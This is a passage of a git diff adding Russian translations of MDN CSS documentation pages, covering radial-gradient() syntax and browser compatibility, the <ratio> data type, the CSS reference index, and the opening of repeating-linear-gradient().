+    <td>Конечная форма градиента определяется таким образом, чтобы он точно соответствовал самому дальнему углу прямоугольника от его центра.</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note">
+ <p><strong>Заметка:</strong> Ранние реализации этой функции включают в себя другие значения свойства (<code>cover</code> and <code>contain</code>) которые являются синонимами <span class="st"><code>farthest-corner</code></span> и <code>closest-side</code>, соответственно. Рекоментуется использовать только стандартные значения, так как некоторые реализации уже перестали использовать старые значения свойств.</p>
+ </div>
+ </dd>
+ <dt><code>&lt;color-stop&gt;</code></dt>
+ <dd>{{cssxref("&lt;color&gt;")}} значение цвета в точке изменения цвета за которым следует необязательный параметр позиции ({{cssxref("&lt;percentage&gt;")}} или {{cssxref("&lt;length&gt;")}} вдоль оси градиента). Значения <code>0%</code>, или <code>0</code> представляют центр градиента; значение <code>100%</code> представляет собой виртуальное пересечение конечной формы с виртуальным лучем граддиента. Процентные значения будут линейно расположены на луче градиента.</dd>
+</dl>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<pre class="syntaxbox notranslate"><code>radial-gradient(
+  [ [ circle || <a href="/en-US/docs/CSS/length">&lt;length&gt;</a> ]                         [ at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    [ ellipse || [ <a href="/en-US/docs/CSS/length">&lt;length&gt;</a> | <a href="/en-US/docs/CSS/percentage">&lt;percentage&gt;</a> ]{2} ]  [ at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    [ [ circle | ellipse ] || &lt;extent-keyword&gt; ]   [ at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ]? , |
+    at <a href="/en-US/docs/CSS/position_value">&lt;position&gt;</a> ,
+  ]?
+  &lt;color-stop&gt; [ , &lt;color-stop&gt; ]+
+)
+где &lt;extent-keyword&gt; = closest-corner | closest-side | farthest-corner | farthest-side
+  и<code> &lt;color-stop&gt;     = &lt;color&gt; [ &lt;percentage&gt; | &lt;length&gt; ]?</code>
+</code></pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простой_градиент">Простой градиент</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background-image: radial-gradient(cyan 0%, transparent 20%, salmon 40%);
+} </pre>
+
+<p>{{EmbedLiveSample('Простой_градиент', 120, 120)}}</p>
+
+<h3 id="Градиент_со_смещенным_центром">Градиент со смещенным центром</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background-image: radial-gradient(farthest-corner at 40px 40px,
+      #f35 0%, #43e 100%);
+}</pre>
+
+<p>{{EmbedLiveSample('Градиент_со_смещенным_центром', 240, 120)}}</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Дополнительные примеры можно найти в <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS градиентов</a>.</p>
+</div>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#radial-gradients', 'radial-gradients()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Стандартное использование (в {{cssxref("background")}} и {{cssxref("background-image")}})</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("16")}}</td>
+   <td>10.0 (534.16){{property_prefix("-webkit")}}<sup>[2]</sup></td>
+   <td>10.0<sup>[3]</sup></td>
+   <td>11.60{{property_prefix("-o")}}</td>
+   <td>5.1{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Использование в {{cssxref("border-image")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Использование на любых других свойствах работающих с типом {{cssxref("&lt;image&gt;")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.webkit.org/blog/175/introducing-css-gradients/">Устаревший webkit синтаксис</a> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>4.0{{property_prefix("-webkit")}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>at</code> синтаксис (финальный стандартизованный вариант)</td>
+   <td>{{CompatGeckoDesktop("10")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("16")}}<sup>[4]</sup></td>
+   <td>26</td>
+   <td>10.0</td>
+   <td>11.60{{property_prefix("-o")}}<sup>[2]</sup><br>
+    2.12</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><a href="https://drafts.csswg.org/css-images-4/#color-interpolation-hint">Interpolation hints/gradient midpoints</a> (точки заданные в процентах без значения цвета)</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>40</td>
+   <td></td>
+   <td>27</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Стандартное спользование (в {{cssxref("background")}} и {{cssxref("background-image")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Использование в {{cssxref("border-image")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("29")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Использование на любых других свойствах работающих с типом {{cssxref("&lt;image&gt;")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.webkit.org/blog/175/introducing-css-gradients/">Устаревший webkit синтаксис</a> {{non-standard_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>at</code> синтаксис (финальный стандартизованный вариант)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("10")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("16")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 3.6 синтаксис - ранний реализованный вариант с префиксом. До Firefox 36, Gecko не применял градиенты на расширенное цветовое пространство, так как это приводило к неожиданному появлению серого оттенка при использовании прозрачности. Начиная с Firefox 42, версии градиентов с префиксом могую быть отключены установкой <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p>
+
+<p>[2] Ранний синтаксис Webkit с префиксом. WebKit с версии 528 поддерживает устаревшый вариант <a href="https://developer.apple.com/library/safari/documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html#//apple_ref/doc/uid/TP40008032-CH10-SW34"><code>-webkit-gradient(radial,…)</code></a>. Смотрите также <a href="https://developer.apple.com/library/safari/#documentation/InternetWeb/Conceptual/SafariVisualEffectsProgGuide/Gradients/Gradient.html#//apple_ref/doc/uid/TP40008032-CH10-SW15">текущую поддержку</a> радиальных градиентов.</p>
+
+<p>[3] Internet Explorer от 5.5 до 9.0 поддерживают собственный фильтр <a href="http://msdn.microsoft.com/en-us/library/ms532997(VS.85,loband).aspx"><code>filter: progid:DXImageTransform.Microsoft.Gradient()</code></a>.</p>
+
+<p>[4] В дополнении к поддержке без префикса, Gecko 44.0 {{geckoRelease("44.0")}} добавил поддержку версии с префиксом <code>-webkit</code> по соображениям обратной совместимости с настройкой <code>layout.css.prefixes.webkit</code>, установленной по умолчанию как <code>false</code>. Начиная с Gecko 49.0 {{geckoRelease("49.0")}} используется установка по умолчанию как <code>true</code>.</p>
+
+<h3 id="Сноски_к_Quantum_CSS">Сноски к Quantum CSS</h3>
+
+<ul>
+ <li>Gecko имеет долгоиграющий баг благодаря которому значения вроде <code>radial-gradient(circle gold,red)</code> будут работать, даже несмотря на то, что пропущена запятая между <code>circle</code> и <code>gold</code> ({{bug(1383323)}}). Новый parallel CSS движок от Firefox (также известный как <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> или <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, планируемый к релизу в Firefox 57) исправляет этот баг.</li>
+ <li>Также в Gecko выражения с {{cssxref("calc")}} считаются недействительными — значени не валидно при использовании в  radial-gradient() ({{bug(1376019)}}). Новый parallel CSS движок от Firefox (также известный как <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> или <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, планируемый к релизув Firefox 57) исправляет этот баг.</li>
+</ul>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients">Использование CSS градиентов</a></li>
+ <li>Другие варианты градиентов: {{cssxref("repeating-radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}</li>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+</ul>
diff --git a/files/ru/web/css/ratio/index.html b/files/ru/web/css/ratio/index.html
new file mode 100644
index 0000000000..1167ae3f29
--- /dev/null
+++ b/files/ru/web/css/ratio/index.html
@@ -0,0 +1,89 @@
+---
+title: <ratio>
+slug: Web/CSS/ratio
+tags:
+  - медиа-запрос
+  - тип данных
+  - формат экрана
+translation_of: Web/CSS/ratio
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Types">Тип данных</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>&lt;ratio&gt;</code></strong> используется для описания <a href="/en-US/docs/Web/CSS/@media/aspect-ratio">соотношений сторон</a> в <a href="/en-US/docs/Web/CSS/Media_Queries">медиа-запросах</a>, обозначает соотношения между двумя безразмерными значениями.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;ratio&gt;</code> состоит из строго положительного  {{cssxref("&lt;integer&gt;")}}, за которым следует слэш  ('/', Unicode <code>U+002F SOLIDUS</code>) и второй строго положительный {{cssxref("&lt;integer&gt;")}}. Пробелы до и после черты не обязательны. Первое число представляет ширину, а второе высоту.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_в_медиа-запросах">Использование в медиа-запросах</h3>
+
+<pre class="brush: css">@media screen and (min-aspect-ratio: 16/9) { ... }</pre>
+
+<h3 id="Общее_соотношение_сторон">Общее соотношение сторон</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"> </th>
+   <th scope="col">Ratio</th>
+   <th scope="col">Usage</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><img alt="Ratio4_3.png" class="default internal" src="/@api/deki/files/5714/=Ratio4_3.png"></td>
+   <td><code>4/3</code></td>
+   <td>Традиционный TV-формат 20<sup>th</sup> века.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio16_9.png" src="/@api/deki/files/5711/=Ratio16_9.png"></td>
+   <td><code>16/9</code></td>
+   <td>Современный "широкоэкранный" TV-формат.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio1_1.85.png" src="/@api/deki/files/5712/=Ratio1_1.85.png"></td>
+   <td><code>185/100</code> = <code>91/50</code><br>
+    <em>(нецелые делимые и делители не допускаются)</em></td>
+   <td>Наиболее распространенный видео-формат в 1960-х.</td>
+  </tr>
+  <tr>
+   <td><img alt="Ratio1_2.39.png" src="/@api/deki/files/5713/=Ratio1_2.39.png"></td>
+   <td><code>239/100</code><br>
+    <em>(нецелые делимые и делители не допускаются)</em></td>
+   <td>"Широкоэкранный," анаморфный видео-формат.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Media Queries', '#values', '&lt;ratio&gt;')}}</td>
+   <td>{{Spec2('CSS3 Media Queries')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.types.ratio")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/aspect-ratio">aspect-ratio</a></code> медиа-функция</li>
+</ul>
diff --git a/files/ru/web/css/reference/index.html b/files/ru/web/css/reference/index.html
new file mode 100644
index 0000000000..2a32f7019f
--- /dev/null
+++ b/files/ru/web/css/reference/index.html
@@ -0,0 +1,189 @@
+---
+title: Руководство по CSS
+slug: Web/CSS/Reference
+tags:
+  - CSS
+  - CSSOM
+  - DOM-CSS
+  - Стили
+translation_of: Web/CSS/Reference
+---
+<p><span class="seoSummary">Данный <em>справочник по CSS</em> перечисляет все стандартные свойства, <a href="/ru/docs/Web/CSS/Pseudo-classes">псевдоклассы</a> и <a href="/ru/docs/Web/CSS/Pseudo-elements">псевдоэлементы</a>, <a href="/ru/docs/Web/CSS/At-rule">@-правила</a>, единицы измерения и селекторы <a href="/ru/docs/CSS">CSS</a> в алфавитном порядке. </span> Справочник позволит вам быстро найти подробную информацию о каждом из них. <span class="seoSummary">Он не только перечисляет свойства CSS 1 и CSS 2.1, но является и справочником по CSS3 со ссылками на описание каждого стандартизированного или уже стабилизированного свойства <a href="/ru/docs/Web/CSS/CSS3">CSS3</a>. Также включает в себя краткое руководство </span> <a href="https://developer.mozilla.org/ru/docs/Web/CSS/Reference$edit#DOM_CSS">DOM-CSS / CSSOM</a>.</p>
+
+<p>Заметьте, что определения CSS-правил полностью (ASCII)  <a href="https://www.w3.org/TR/css-syntax-3/#intro">тексто-ориентированы</a>, в то время как определения правил DOM-CSS / CSSOM <a href="https://www.w3.org/TR/cssom/#introduction">объектно-ориентированы</a>.</p>
+
+<p>Смотрите также  <a href="/ru/docs/Web/CSS/CSS_Reference/Mozilla_Extensions">Mozilla CSS Extensions</a> для Gecko-специфичных свойств с префиксом <code>-moz</code>; и  <a href="/ru/docs/Web/CSS/CSS_Reference/Webkit_Extensions">WebKit CSS Extensions</a> для WebKit-специфичных свойств. Смотрите  <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">Обзор CSS-префиксов для разных браузеров от Peter Beverloo</a> для всех свойств с префиксами.</p>
+
+<h2 id="Базовый_синтаксис_правил">Базовый синтаксис правил</h2>
+
+<p>Имейте в виду, что любая синтаксическая ошибка в задании правил сделает некорректным всё правило.</p>
+
+<h3 id="Стили">Стили</h3>
+
+<pre class="syntaxbox"><strong><em>selectorlist</em> { <em>property</em>: <em>value</em>; </strong><em>[more property:value; pairs]</em> <strong>}</strong>
+
+...где <em>selectorlist</em>:<code> <em>selector[:pseudo-class] [::pseudo-element] [, more selectorlists]
+</em></code>
+
+Смотрите списки <a href="#Selectors"><em>селекторов</em></a>, <a href="#pelm"><em>псевдоэлементов</em></a> и <a href="#pcls"><em>псевдоклассов</em></a> ниже.
+
+</pre>
+
+<h4 id="Примеры">Примеры</h4>
+
+<pre class="brush: css">strong { color: red; }
+div.menu-bar li:hover &gt; ul { display: block; }
+</pre>
+
+<p>Больше о примерах: <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors#Information_Selectors">#1</a>, <a href="/ru/docs/Web/Guide/CSS/Getting_started/Selectors#Action_Using_selectors_based_on_relationships_and_pseudo-classes">#2</a></p>
+
+<h3 id="-правила">@-правила</h3>
+
+<p>Так как у них есть много различных структурных форматов, смотрите нужный синтаксис <a href="/ru/docs/Web/CSS/At-rule">@-правил</a>.</p>
+
+<h2 id="Справочный_указатель">Справочный указатель</h2>
+
+<div>{{CSS_Ref}}</div>
+
+<h2 id="Selectors" name="Selectors">Селекторы</h2>
+
+<ul>
+ <li>Базовые селекторы
+  <ul>
+   <li><a href="/ru/docs/Web/CSS/Type_selectors">По тегу</a><code> elementname</code></li>
+   <li><a href="/ru/docs/Web/CSS/Class_selectors">По классу</a> <code>.classname</code></li>
+   <li><a href="/ru/docs/Web/CSS/ID_selectors">По ID</a> <code>#idname</code></li>
+   <li><a href="/ru/docs/Web/CSS/Universal_selectors">Универсальные</a><code> * ns|* *|*</code></li>
+   <li><a href="/ru/docs/Web/CSS/Attribute_selectors">По атрибутам</a><code> [attr=value]</code></li>
+  </ul>
+ </li>
+ <li>Комбиционные
+  <ul>
+   <li><a href="/ru/docs/Web/CSS/Adjacent_sibling_selectors">смежный селектор</a> <code>A + B</code></li>
+   <li><a href="/ru/docs/Web/CSS/General_sibling_selectors">следующего элемента</a> <code>A ~ B</code></li>
+   <li><a href="/ru/docs/Web/CSS/Child_selectors">дочерних элементов</a> <code>A &gt; B</code></li>
+   <li><a href="/ru/docs/Web/CSS/Descendant_selectors">потомков</a> <code>A B</code></li>
+  </ul>
+ </li>
+ <li id="pelm">Псевдоэлементы    <a href="/ru/docs/Web/CSS/Pseudo-elements">(больше информации)</a>
+  <ul>
+   <li>{{ Cssxref("::after") }}</li>
+   <li>{{ Cssxref("::before") }}</li>
+   <li>{{ Cssxref("::first-letter") }}</li>
+   <li>{{ Cssxref("::first-line") }}</li>
+   <li>{{ Cssxref("::selection") }}</li>
+   <li>{{ Cssxref("::backdrop") }}</li>
+   <li>{{ Cssxref("::placeholder") }} {{experimental_inline}}</li>
+   <li>{{ Cssxref("::marker") }} {{experimental_inline}}</li>
+   <li>{{ Cssxref("::spelling-error") }} {{experimental_inline}}</li>
+   <li>{{ Cssxref("::grammar-error") }} {{experimental_inline}}</li>
+  </ul>
+ </li>
+ <li id="pcls">Псевдоклассы    <a href="/ru/docs/Web/CSS/Псевдо-классы">(больше информации)</a>
+  <ul>
+   <li>{{ Cssxref(":active") }}</li>
+   <li>{{ cssxref(':any')}}</li>
+   <li>{{ Cssxref(":checked") }}</li>
+   <li>{{ Cssxref(":default") }}</li>
+   <li>{{ Cssxref(":dir", ":dir()")}}</li>
+   <li>{{ Cssxref(":disabled") }}</li>
+   <li>{{ Cssxref(":empty") }}</li>
+   <li>{{ Cssxref(":enabled") }}</li>
+   <li>{{ Cssxref(":first") }}</li>
+   <li>{{ Cssxref(":first-child") }}</li>
+   <li>{{ Cssxref(":first-of-type") }}</li>
+   <li>{{ Cssxref(":fullscreen") }}</li>
+   <li>{{ Cssxref(":focus") }}</li>
+   <li>{{ Cssxref(":hover") }}</li>
+   <li>{{ Cssxref(":indeterminate") }}</li>
+   <li>{{ Cssxref(":in-range") }}</li>
+   <li>{{ Cssxref(":invalid") }}</li>
+   <li>{{ Cssxref(":lang", ":lang()") }}</li>
+   <li>{{ Cssxref(":last-child") }}</li>
+   <li>{{ Cssxref(":last-of-type") }}</li>
+   <li>{{ Cssxref(":left") }}</li>
+   <li>{{ Cssxref(":link") }}</li>
+   <li>{{ Cssxref(":not", ":not()") }}</li>
+   <li>{{ Cssxref(":nth-child", ":nth-child()") }}</li>
+   <li>{{ Cssxref(":nth-last-child", ":nth-last-child()") }}</li>
+   <li>{{ Cssxref(":nth-last-of-type", ":nth-last-of-type()") }}</li>
+   <li>{{ Cssxref(":nth-of-type", ":nth-of-type()") }}</li>
+   <li>{{ Cssxref(":only-child") }}</li>
+   <li>{{ Cssxref(":only-of-type") }}</li>
+   <li>{{ Cssxref(":optional") }}</li>
+   <li>{{ Cssxref(":out-of-range") }}</li>
+   <li>{{ Cssxref(":read-only") }}</li>
+   <li>{{ Cssxref(":read-write") }}</li>
+   <li>{{ Cssxref(":required") }}</li>
+   <li>{{ Cssxref(":right") }}</li>
+   <li>{{ Cssxref(":root") }}</li>
+   <li>{{ Cssxref(":scope") }}</li>
+   <li>{{ Cssxref(":target") }}</li>
+   <li>{{ Cssxref(":valid") }}</li>
+   <li>{{ Cssxref(":visited") }}</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Полный <a href="http://www.w3.org/TR/selectors/#selectors" title="http://www.w3.org/TR/selectors/#selectors">список селекторов</a> в спецификации Selectors Level 3.</p>
+
+<h2 id="Обучение_CSS3">Обучение CSS3</h2>
+
+<p>Эти маленькие страницы описывают технологии, появившиеся в CSS3 или CSS2.1, но с плохой поддержкой браузерами до недавнего времени:</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/Guide/CSS/Media_queries">Медиа-запросы</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Counters">Счётчики</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_CSS_gradients">Градиенты</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_CSS_transforms">Трансформации</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_CSS_animations">Анимации</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_CSS_transitions">Переходы</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_multiple_backgrounds">Множественные фоны</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Flexible_boxes">Flexbox</a></li>
+ <li><a href="/ru/docs/Web/Guide/CSS/Using_multi-column_layouts" title="/ru/docs/Web/Guide/CSS/Using_multi-column_layouts">Многоколоночные макеты</a></li>
+</ul>
+
+<h2 id="Концепции">Концепции</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Syntax">CSS синтаксис</a></li>
+ <li><a href="/ru/docs/Web/CSS/At-rule">@-правила</a></li>
+ <li><a href="/ru/docs/Web/CSS/Comments">Комментарии</a></li>
+ <li><a href="/ru/docs/Web/CSS/Specificity">Специфичность</a></li>
+ <li><a href="/ru/docs/Web/CSS/initial_value">Начальное значение</a></li>
+ <li><a href="/ru/docs/Web/CSS/inheritance">Наследование</a></li>
+ <li><a href="/ru/docs/Web/CSS/specified_value">Указанное значение</a> </li>
+ <li><a href="/ru/docs/Web/CSS/computed_value">Высчитанное значение</a></li>
+ <li><a href="/ru/docs/Web/CSS/used_value">Используемое значение</a></li>
+ <li><a href="/ru/docs/Web/CSS/actual_value">Актуальное значение</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/resolved_value">Вычисленное значение</a> (почти то же, что высчитанное)</li>
+ <li><a href="/ru/docs/Web/CSS/box_model">Box-модель</a></li>
+ <li><a href="/ru/docs/Web/CSS/Replaced_element">Замещаемый элемент</a></li>
+ <li><a href="/ru/docs/Web/CSS/Value_definition_syntax">Синтаксис определения значений</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">Сокращенные свойства</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Объединение отступов</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Visual_formatting_model">Модель визуального форматирования</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Layout_mode">Слои</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<p>Важнейшие типы объектов:</p>
+
+<ul>
+ <li>document . <a href="/ru/docs/Web/API/Document/styleSheets">styleSheets</a></li>
+ <li>styleSheets[x] . <a href="/ru/docs/Web/API/CSSRuleList">cssRules</a></li>
+ <li>cssRules[x] . <a href="/ru/docs/Web/API/CSSRule/cssText">cssText</a> (селекторы и стили)</li>
+ <li>cssRules[x] . <a href="/ru/docs/Web/API/CSSStyleRule/selectorText">selectorText</a></li>
+ <li>elem . <a href="/ru/docs/Web/API/HTMLElement/style">style</a></li>
+ <li>elem . style . <a href="/ru/docs/Web/API/CSSStyleDeclaration/cssText">cssText</a> (только стили)</li>
+ <li>elem . <a href="/ru/docs/Web/API/Element/className">className</a></li>
+ <li>elem . <a href="/ru/docs/Web/API/Element/classList">classList</a></li>
+</ul>
+
+<p>важные методы:</p>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet.insertRule")}}</li>
+ <li>{{domxref("CSSStyleSheet.deleteRule")}}</li>
+</ul>
diff --git a/files/ru/web/css/repeating-linear-gradient()/index.html b/files/ru/web/css/repeating-linear-gradient()/index.html
new file mode 100644
index 0000000000..e7dc20f24e
--- /dev/null
+++ b/files/ru/web/css/repeating-linear-gradient()/index.html
@@ -0,0 +1,134 @@
+---
+title: repeating-linear-gradient()
+slug: Web/CSS/repeating-linear-gradient()
+translation_of: Web/CSS/repeating-linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>repeating-linear-gradient()</code></strong> создает изображение состоящее из повторяющихся линейных градиентов. Она схожа с {{cssxref("linear-gradient")}} и принимает те же аргументы, но повторяет переходы цветов бесконечно во всех направлениях покрывая весь контейнер. Функция возвращает объект типа {{cssxref("&lt;gradient&gt;")}}, являющегося разновидностью типа данных {{cssxref("&lt;image&gt;")}}.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Повторяющийся градиент с углом наклона 45 градусов,
+   начинающийся с синего и заканчивающийся красным цветом */
+repeating-linear-gradient(45deg, blue, red);
+
+/* Повторяющийся градиент идущий от нижнего правого угла к верхнему левому,
+   начинающийся с синего и заканчивающийся красным цветом */
+repeating-linear-gradient(to left top, blue, red);
+
+/* Повторяющийся градиент идущий от низа к верху,
+   начинающийся с синего, переходящего в зеленый на 40%,
+   и заканчивающийся красным цветом */
+repeating-linear-gradient(0deg, blue, green 40%, red);
+</pre>
+
+<p>С каждым повтором позиции цветов сдвигаются на величину кратную длине базового градиента (расстояние от позиции последнего цвета до позиции первого). Таким образом что позиция каждого последнего цвета совпадает с позицией стартового цвета. И если цвета отличаются это приведет к резкому визуальному переходу.</p>
+
+<p>Повторяющийся линейный градиент (как и любой прочий градиент) <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">не имеет размерностей по умолчанию</a>; т.е. у него нет предопределенного размера либо пропорции. Его размер будет совпадать с размерами элемента к которому он применен.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Поскольку <code>&lt;gradient&gt;</code> относится к типу данных <code>&lt;image&gt;</code> , он может быть использован только там где применим тип <code>&lt;image&gt;</code>. По этой причине <code>repeating-linear-gradient()</code> не будет работать с {{Cssxref("background-color")}} и прочими свойствами использующими тип данных {{cssxref("&lt;color&gt;")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;сторона-или-угол&gt;</code></dt>
+ <dd>Положение точки начала линии градиента. Начинается со слова <code>to</code> и максимум двух ключевых слов: одно определяет сторону по горизонтали (<code>left</code> или <code>right</code>), и другое сторону по вертикали (<code>top</code> или <code>bottom</code>). Порядок ключевых слов определяющих сторону не важен. Если они не определены, по умолчанию используется <code><span class="css">to</span></code><span class="css"> </span><code><span class="css">bottom</span></code>.</dd>
+ <dd>Значения <code>to top</code>, <code>to bottom</code>, <code>to left</code>, и <code>to right</code> эквивалентны углам <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, и <code>90deg</code> соответственно. Прочие значения транслируются в угол.</dd>
+ <dt>{{cssxref("&lt;angle&gt;", "&lt;угол&gt;")}}</dt>
